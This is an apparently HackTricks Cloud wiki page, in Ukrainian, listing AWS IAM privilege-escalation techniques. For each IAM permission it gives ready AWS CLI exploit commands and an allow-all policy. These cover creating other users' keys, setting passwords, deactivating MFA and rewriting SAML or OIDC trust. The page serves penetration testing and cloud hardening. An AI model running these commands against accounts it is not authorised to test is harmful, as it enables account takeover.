AWS - IAM Privesc
Reading time: 7 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
IAM
Для отримання додаткової інформації про IAM перегляньте:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Надає можливість створювати нову версію політики IAM, обходячи необхідність у дозволі iam:SetDefaultPolicyVersion
, використовуючи прапорець --set-as-default
. Це дозволяє визначати власні дозволи.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Вплив: Прямо ескалює привілеї, дозволяючи будь-яку дію над будь-яким ресурсом.
iam:SetDefaultPolicyVersion
Дозволяє змінювати версію за замовчуванням політики IAM на іншу існуючу версію, потенційно ескалуючи привілеї, якщо нова версія має більше дозволів.
Bash команда:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Вплив: Непряме підвищення привілеїв шляхом надання додаткових дозволів.
iam:CreateAccessKey
Дозволяє створювати ідентифікатор ключа доступу та секретний ключ доступу для іншого користувача, що може призвести до потенційного підвищення привілеїв.
Експлуатація:
aws iam create-access-key --user-name <target_user>
Вплив: Пряме підвищення привілеїв шляхом прийняття розширених дозволів іншого користувача.
iam:CreateLoginProfile
| iam:UpdateLoginProfile
Дозволяє створювати або оновлювати профіль входу, включаючи встановлення паролів для входу в консоль AWS, що призводить до прямого підвищення привілеїв.
Експлуатація для створення:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Експлуатація для оновлення:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Вплив: Пряма ескалація привілеїв шляхом входу як "будь-який" користувач.
iam:UpdateAccessKey
Дозволяє активувати деактивований ключ доступу, що потенційно може призвести до несанкціонованого доступу, якщо зловмисник володіє деактивованим ключем.
Експлуатація:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Вплив: Пряме підвищення привілеїв шляхом повторної активації ключів доступу.
iam:CreateServiceSpecificCredential
| iam:ResetServiceSpecificCredential
Дозволяє генерувати або скидувати облікові дані для конкретних сервісів AWS (наприклад, CodeCommit, Amazon Keyspaces), успадковуючи дозволи асоційованого користувача.
Експлуатація для створення:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
Експлуатація для скидання:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Вплив: Пряме підвищення привілеїв у дозволах сервісу користувача.
iam:AttachUserPolicy
|| iam:AttachGroupPolicy
Дозволяє прикріплювати політики до користувачів або груп, безпосередньо підвищуючи привілеї шляхом успадкування дозволів прикріпленої політики.
Експлуатація для користувача:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Експлуатація для Групи:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Вплив: Пряме підвищення привілеїв до всього, що надає політика.
iam:AttachRolePolicy
, ( sts:AssumeRole
|iam:createrole
) | iam:PutUserPolicy
| iam:PutGroupPolicy
| iam:PutRolePolicy
Дозволяє прикріплювати або встановлювати політики до ролей, користувачів або груп, що дозволяє пряме підвищення привілеїв шляхом надання додаткових дозволів.
Експлуатація для ролі:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Експлуатація для вбудованих політик:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Ви можете використовувати політику, таку як:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Вплив: Пряме підвищення привілеїв шляхом додавання дозволів через політики.
iam:AddUserToGroup
Дозволяє додавати себе до групи IAM, підвищуючи привілеї шляхом успадкування дозволів групи.
Експлуатація:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Вплив: Пряме підвищення привілеїв до рівня дозволів групи.
iam:UpdateAssumeRolePolicy
Дозволяє змінювати документ політики припущення ролі, що дозволяє припустити роль та її асоційовані дозволи.
Експлуатація:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Де політика виглядає наступним чином, що надає користувачу дозвіл на прийняття ролі:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Вплив: Пряме підвищення привілеїв шляхом прийняття дозволів будь-якої ролі.
iam:UploadSSHPublicKey
|| iam:DeactivateMFADevice
Дозволяє завантажувати SSH публічний ключ для автентифікації в CodeCommit та деактивувати MFA пристрої, що може призвести до потенційного непрямого підвищення привілеїв.
Експлуатація для завантаження SSH ключа:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Експлуатація для деактивації MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Вплив: Непряме підвищення привілеїв шляхом надання доступу до CodeCommit або вимкнення захисту MFA.
iam:ResyncMFADevice
Дозволяє повторну синхронізацію пристрою MFA, що потенційно може призвести до непрямого підвищення привілеїв шляхом маніпуляції захистом MFA.
Bash команда:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Вплив: Непряме підвищення привілеїв шляхом додавання або маніпулювання пристроями MFA.
iam:UpdateSAMLProvider
, iam:ListSAMLProviders
, (iam:GetSAMLProvider
)
З цими дозволами ви можете змінити XML-метадані SAML-з'єднання. Потім ви могли б зловживати SAML-федерацією для входу з будь-якою роллю, яка їй довіряє.
Зверніть увагу, що при цьому легітимні користувачі не зможуть увійти. Однак ви можете отримати XML, щоб вставити свій, увійти та налаштувати попереднє.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
note
TODO: Інструмент, здатний генерувати метадані SAML та входити з вказаною роллю
iam:UpdateOpenIDConnectProviderThumbprint
, iam:ListOpenIDConnectProviders
, (iam:
GetOpenIDConnectProvider
)
(Не впевнений у цьому) Якщо зловмисник має ці дозволи, він може додати новий Thumbprint, щоб мати можливість входити в усі ролі, які довіряють постачальнику.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.